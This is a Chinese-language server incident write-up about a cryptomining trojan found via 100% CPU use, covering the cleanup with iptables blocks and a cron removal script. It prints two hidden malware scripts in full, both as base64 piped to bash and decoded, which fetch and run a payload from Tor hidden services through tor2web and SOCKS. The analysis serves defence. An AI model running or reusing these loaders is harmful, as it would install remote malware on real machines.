CPU监控爆满至100%
查进程发现:
1.谜之六字木马
2.定时任务异常
3.hosts异常
4.root家目录两个隐藏文件
cat /root/.ucxin.sh
#!/bin/bash
exec &>/dev/null
echo ucxin.sh
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAibWF6ZWNsbWhiYWN1Y3hpbiIpCgpzb2NreigpIHsKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgoJGMgaHR0cHM6Ly9kb2guY2VudHJhbGV1LnBpLWRucy5jb20vJHAgfHwKICAgICAkYyBodHRwczovL2Rucy50d25pYy50dy8kcCB8fAogICAgICRjIGh0dHBzOi8vZG5zLnJ1YnlmaXNoLmNuLyRwIHx8CiAgICAgJGMgaHR0cHM6Ly9kb2guZG5zLnNiLyRwIDsgaG9zdCAtVyA1IHJlbGF5LnRvcjJzb2Nrcy5pbnxhd2sgeydwcmludCAkTkYnfSlcCiAgICAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfHNvcnQgLXVSfGhlYWQgLTEgKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaW8gdG9yMndlYi50byB0b3Iyd2ViLnN1CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC0xIC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
cat /root/.unixdb.sh
#!/bin/bash
exec &>/dev/null
echo yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2
echo eXlBTmhaREZPczMxRjlXZ3FPb3Z1cnJ1RU1UM1ordjgyTUcwbTllbGFmaDhHVTErdTQvNzhOWm9LejJyQTdPMgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ1bml4ZGJudWFkeG13dG9iIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgdW5jZW5zb3JlZC5hbnkuZG5zLm5peG5ldC54eXopCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTUpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuY2ggdG9yMndlYi5pbyB0b3Iyd2ViLnRvIHRvcjJ3ZWIuc3UKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDApL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
5.解码
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "mazeclmhbacucxin")
sockz() {
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$(($c https://doh.centraleu.pi-dns.com/$p ||
$c https://dns.twnic.tw/$p ||
$c https://dns.rubyfish.cn/$p ||
$c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\
| grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1 )
}
fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/io; then
u $t.$h
else
break
fi
Done
yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "unixdbnuadxmwtob")
sockz() {
n=(dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org uncensored.any.dns.nixnet.xyz)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%5))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)
}
fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.ch tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/status; then
u $t.$h
else
break
fi
done
封堵
yum install -y iptables
iptables -A OUTPUT -m string --string "cim8.f.dedikuoti.lt" --algo bm --to 65535 -j DROP
iptables -A OUTPUT -m string --string "dedikuoti.lt" --algo bm --to 65535 -j DROP
iptables -A OUTPUT -p tcp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP
iptables -A OUTPUT -p udp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP
后发现谜之进程,正在通过本地多端口ssh连接其他节点
遂即发现木马又回来了,故编写脚本定时删文件、杀进程,结合iptables
crontab -u root -l
*/5 * * * * /bin/sh /root/mumashanchu.sh
#!/bin/bash
if [ -f "/root/.unixdb.sh" ];then
chattr -i /root/.unixdb.sh
rm -rf /root/.unixdb.sh
sed -i "/.unixdb.sh/d" /var/spool/cron/root
else
echo "unixdb none"
fi
if [ -f "/root/.ucxin.sh" ];then
chattr -i /root/.ucxin.sh
rm -rf /root/.ucxin.sh
sed -i "/.ucxin.sh/d" /var/spool/cron/root
else
echo "ucxin none"
fi
a=` ps -aux --sort=-%cpu | head -3 | grep -n "tracepath" | awk '{print $2}' `
## echo $a
if [ ! $a ];then
echo "tracepath none"
else
/usr/bin/kill -9 $a
fi
iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
ACCEPT icmp -- anywhere anywhere
ACCEPT all -- anywhere anywhere
ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:ssh
REJECT all -- anywhere anywhere reject-with icmp-host-prohibited
Chain FORWARD (policy ACCEPT)
target prot opt source destination
REJECT all -- anywhere anywhere reject-with icmp-host-prohibited
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere cim8.f.dedikuoti.lt tcp spts:tcpmux:65535
DROP udp -- anywhere cim8.f.dedikuoti.lt udp spts:tcpmux:65535
DROP all -- anywhere anywhere STRING match "cim8.f.dedikuoti.lt" ALGO name bm TO 65535
DROP all -- anywhere anywhere STRING match "dedikuoti.lt" ALGO name bm TO 65535
DROP tcp -- 192.168.0.0/16 anywhere tcp dpts:tcpmux:65535
DROP udp -- 192.168.0.0/16 anywhere udp dpts:tcpmux:65535